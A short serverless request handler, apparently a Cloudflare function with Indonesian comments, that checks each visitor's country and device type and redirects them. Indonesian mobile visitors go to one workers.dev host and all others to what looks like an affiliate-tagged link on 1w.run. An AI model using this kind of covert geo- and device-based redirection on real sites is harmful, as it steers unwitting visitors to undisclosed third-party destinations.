export async function onRequest(context) {
  const { request } = context;

  // Negara pengunjung
  const country = request.cf?.country || "XX";

  // User-Agent
  const ua = request.headers.get("User-Agent") || "";

  // Deteksi Smartphone + Tablet
  const isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|BB10|PlayBook|IEMobile|Windows Phone|Opera Mini|Mobile|Tablet|Kindle|Silk/i.test(ua);

  // Indonesia + Mobile/Tablet
  if (country === "ID" && isMobile) {
    return Response.redirect("https://vipmaster.cerdascermat.workers.dev/", 302);
  }

  // Indonesia Desktop + Semua Internasional
  return Response.redirect("https://1w.run/?p=gQuK", 302);
}